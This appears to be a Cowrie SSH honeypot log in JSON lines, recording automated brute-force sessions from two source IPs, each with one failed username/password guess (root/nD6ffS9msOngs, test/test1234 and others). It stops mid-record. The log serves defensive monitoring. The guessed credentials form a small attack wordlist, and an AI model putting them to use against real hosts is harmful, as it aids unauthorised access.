{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:12.833513Z","src_ip":"45.156.87.147","session":"0dfb883f58b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123","message":"login attempt [sftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:13.083333Z","src_ip":"45.156.87.147","session":"0dfb883f58b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:14.367276Z","src_ip":"45.156.87.147","session":"0dfb883f58b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51528,"dst_ip":"10.17.0.5","dst_port":22,"session":"71d2a9281aa0","protocol":"ssh","message":"New connection: 45.156.87.147:51528 (10.17.0.5:22) [session: 71d2a9281aa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:18.699967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:18.704414Z","src_ip":"45.156.87.147","session":"71d2a9281aa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:18.788667Z","src_ip":"45.156.87.147","session":"71d2a9281aa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:19.096555Z","src_ip":"45.156.87.147","session":"71d2a9281aa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:20.181593Z","src_ip":"45.156.87.147","session":"71d2a9281aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":45754,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c7b7e584f3","protocol":"ssh","message":"New connection: 45.156.87.147:45754 (10.17.0.5:22) [session: 42c7b7e584f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:24.896466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:24.901017Z","src_ip":"45.156.87.147","session":"42c7b7e584f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:24.980910Z","src_ip":"45.156.87.147","session":"42c7b7e584f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nD6ffS9msOngs","message":"login attempt [root/nD6ffS9msOngs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:25.300498Z","src_ip":"45.156.87.147","session":"42c7b7e584f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:26.385615Z","src_ip":"45.156.87.147","session":"42c7b7e584f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49062,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ceffd36f324","protocol":"ssh","message":"New connection: 45.156.87.147:49062 (10.17.0.5:22) [session: 5ceffd36f324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:30.840432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:30.844741Z","src_ip":"45.156.87.147","session":"5ceffd36f324","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:30.928294Z","src_ip":"45.156.87.147","session":"5ceffd36f324","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:31.175388Z","src_ip":"45.156.87.147","session":"5ceffd36f324","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:32.259705Z","src_ip":"45.156.87.147","session":"5ceffd36f324","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":49070,"dst_ip":"10.17.0.5","dst_port":22,"session":"38051de17b8f","protocol":"ssh","message":"New connection: 45.156.87.147:49070 (10.17.0.5:22) [session: 38051de17b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:36.677919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:36.681786Z","src_ip":"45.156.87.147","session":"38051de17b8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:36.764768Z","src_ip":"45.156.87.147","session":"38051de17b8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"1","message":"login attempt [root1/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:37.016941Z","src_ip":"45.156.87.147","session":"38051de17b8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:38.166303Z","src_ip":"45.156.87.147","session":"38051de17b8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34734,"dst_ip":"10.17.0.5","dst_port":22,"session":"719e5edd01d9","protocol":"ssh","message":"New connection: 45.156.87.147:34734 (10.17.0.5:22) [session: 719e5edd01d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:42.594479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:42.598834Z","src_ip":"45.156.87.147","session":"719e5edd01d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:42.682801Z","src_ip":"45.156.87.147","session":"719e5edd01d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd","message":"login attempt [test/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:43.018850Z","src_ip":"45.156.87.147","session":"719e5edd01d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:44.102393Z","src_ip":"45.156.87.147","session":"719e5edd01d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34742,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeb1140d65c5","protocol":"ssh","message":"New connection: 45.156.87.147:34742 (10.17.0.5:22) [session: aeb1140d65c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:48.674113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:48.677845Z","src_ip":"45.156.87.147","session":"aeb1140d65c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:48.761357Z","src_ip":"45.156.87.147","session":"aeb1140d65c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"1q2w3e4r","message":"login attempt [gabriel/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:49.013320Z","src_ip":"45.156.87.147","session":"aeb1140d65c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":48524,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4eb239bbf9f","protocol":"ssh","message":"New connection: 103.27.238.114:48524 (10.17.0.5:22) [session: b4eb239bbf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:49.638079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:49.644195Z","src_ip":"103.27.238.114","session":"b4eb239bbf9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:49.917468Z","src_ip":"103.27.238.114","session":"b4eb239bbf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:50.108361Z","src_ip":"45.156.87.147","session":"aeb1140d65c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"koldun","message":"login attempt [root/koldun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:50.739958Z","src_ip":"103.27.238.114","session":"b4eb239bbf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:52.015438Z","src_ip":"103.27.238.114","session":"b4eb239bbf9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56728,"dst_ip":"10.17.0.5","dst_port":22,"session":"133d108fc1cf","protocol":"ssh","message":"New connection: 45.156.87.147:56728 (10.17.0.5:22) [session: 133d108fc1cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:54.760065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:49:54.816359Z","src_ip":"45.156.87.147","session":"133d108fc1cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client 